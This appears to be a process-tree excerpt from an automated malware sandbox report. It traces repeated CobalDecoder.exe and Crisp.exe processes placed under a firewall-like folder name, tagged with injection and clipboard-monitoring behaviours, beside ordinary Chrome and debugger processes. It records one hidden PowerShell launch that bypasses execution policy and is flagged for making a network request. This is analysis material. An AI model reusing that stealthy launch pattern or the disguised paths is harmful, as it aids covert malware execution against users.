- - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
    C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: AddClipboardFormatListener
    PID:5832

C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:5040
- C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
  C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1608

C:\Users\Admin\Desktop\release\x64\x64dbg.exe
"C:\Users\Admin\Desktop\release\x64\x64dbg.exe"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
PID:5552
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:2860
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:1556
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: GetForegroundWindowSpam
      PID:4956
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:6784
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:6848
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:6608
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:6880
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:6840
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:5688

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:6796

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{60A90A2F-858D-42AF-8929-82BE9D99E8A1}
1⤵
- System Location Discovery: System Language Discovery
PID:6272

C:\Users\Admin\Desktop\release\x64\x64dbg.exe
"C:\Users\Admin\Desktop\release\x64\x64dbg.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
PID:3108
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:6748
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:4172
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:1972
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:5692
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:5708
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:5656
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:6836
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:6616
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:5744
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:7036
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:5112
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:6708
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:5756
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:5176
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:6756
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:2164
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:2264
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:6640
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:648
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:1952
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:6632
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:6520
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: MapViewOfSection
    PID:6660
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:2376
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:6636
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: MapViewOfSection
    PID:5156
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:2368
- C:\ProgramData\CobalDecoder\CobalDecoder.exe
  "C:\ProgramData\CobalDecoder\CobalDecoder.exe"
  2⤵
  PID:3748
- - C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    C:\ProgramData\com_nt_firewall_v6_32\CobalDecoder.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: MapViewOfSection
    PID:6996
  - - C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      C:\Users\Admin\AppData\Local\com_nt_firewall_v6_32\Crisp.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4548

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: GetForegroundWindowSpam
PID:6396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\ProgramData\Healthcare\vacuumtubeer.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
PID:6564

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:5860
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x234,0x238,0x23c,0x210,0x240,0x7fff3c17c728,0x7fff3c17c734,0x7fff3c17c740
  2⤵
  PID:1796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1716,i,3908479298119958556,2126478821413463174,262144 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2060 /prefetch:2
  2⤵
  PID:6540
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2152,i,7415928509603641846,16833842737825500406,524288 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2196 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:1516
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2416,i,16643818535413840320,11354411304390806593,524288 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2596 /prefetch:8
  2⤵
  PID:6564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3024,i,15741547734907677515,11943572156544115831,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3076 /prefetch:1
  2⤵
  PID:5908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3096,i,7444531708920817091,5490753496576342990,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3108 /prefetch:1
  2⤵
  PID:4456
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4312,i,5887903597751127550,12552070613794551813,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4332 /prefetch:2
  2⤵
  PID:1820
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4708,i,8464716867944744905,363248102243598465,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4720 /prefetch:1
  2⤵
  PID:6152
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5452,i,6109685459878177355,14240791194957073313,524288 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5460 /prefetch:8
  2⤵
  PID:7020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5496,i,10211009828371200758,14104937125825290412,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5760 /prefetch:1
  2⤵
  PID:2148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3544,i,1891463671225501094,6594081159748931672,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4892 /prefetch:1
  2⤵
  PID:1492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5864,i,11685865509343890870,905118748022129948,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3180 /prefetch:1
  2⤵
  PID:5868
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4260,i,527578765736485639,14336897924751707482,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4840 /prefetch:1
  2⤵
  PID:6808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=3580,i,1748913654933245175,10327988064946177757,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3712 /prefetch:1
  2⤵
  PID:2952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3180,i,1422855705811780869,12248854830678004072,524288 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5772 /prefetch:8
  2⤵
  PID:6912
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5796,i,6807920354026407392,17203456471071076805,524288 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4736 /prefetch:8
  2⤵
  PID:1264
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=524,i,1275997445132261061,1267166513360000068,524288 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5812 /prefetch:8
  2⤵
  PID:1004
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=4324,i,6834529441165958256,9671695991298768586,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5824 /prefetch:1
  2⤵
  PID:4456
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=4600,i,5193275853174010758,15882063584710722891,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4376 /prefetch:1
  2⤵
  PID:464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5848,i,10631973781721131389,7002922434452228571,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3100 /prefetch:1
  2⤵
  PID:6716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4904,i,182246841856238271,18075778119592451875,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4452 /prefetch:1
  2⤵
  PID:6168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5484,i,14715171798076717960,7772435088136429395,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4444 /prefetch:1
  2⤵
  PID:5828
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=6088,i,15272729651655996075,18026450856299419321,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4464 /prefetch:1
  2⤵
  PID:6928
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6040,i,14859789477427824290,10140945767537469676,524288 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5840 /prefetch:8
  2⤵
  PID:5500
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5816,i,862512667472812716,17584152758356736124,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4428 /prefetch:1
  2⤵
  PID:2780
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --metrics-shmem-handle=6112,i,13425670118161037041,11701889134222845997,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6100 /prefetch:1
  2⤵
  PID:1688
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=6212,i,6879738713375909236,16485722044079217751,2097152 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6208 /prefetch:1
  2⤵
  PID:6028
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6876,i,16667830359195164801,11375220165920914160,524288 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6872 /prefetch:8
  2⤵
  PID:6776
- C:\Users\Admin\Downloads\processhacker-2.39-setup.exe
  "C:\Users\Admin\Downloads\processhacker-2.39-setup.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2148
- - C:\Users\Admin\AppData\Local\Temp\is-KKMAH.tmp\processhacker-2.39-setup.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-KKMAH.tmp\processhacker-2.39-setup.tmp" /SL5="$1D04DA,1874675,150016,C:\Users\Admin\Downloads\processhacker-2.39-setup.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:6340
  - - C:\Program Files\Process Hacker 2\ProcessHacker.exe
      "C:\Program Files\Process Hacker 2\ProcessHacker.exe"
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Checks processor information in registry
      Modifies system certificate store
      Suspicious behavior: GetForegroundWindowSpam
      PID:5844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1196,i,5597531631876573773,4441307552307173187,262144 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6612 /prefetch:8
  2⤵
  PID:5352
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=4436,i,8798530531900036791,330980783804578496,524288 --field-trial-handle=2064,i,3444386521611200280,9961950027762479556,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4384 /prefetch:8
  2⤵
  PID:5088

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2624

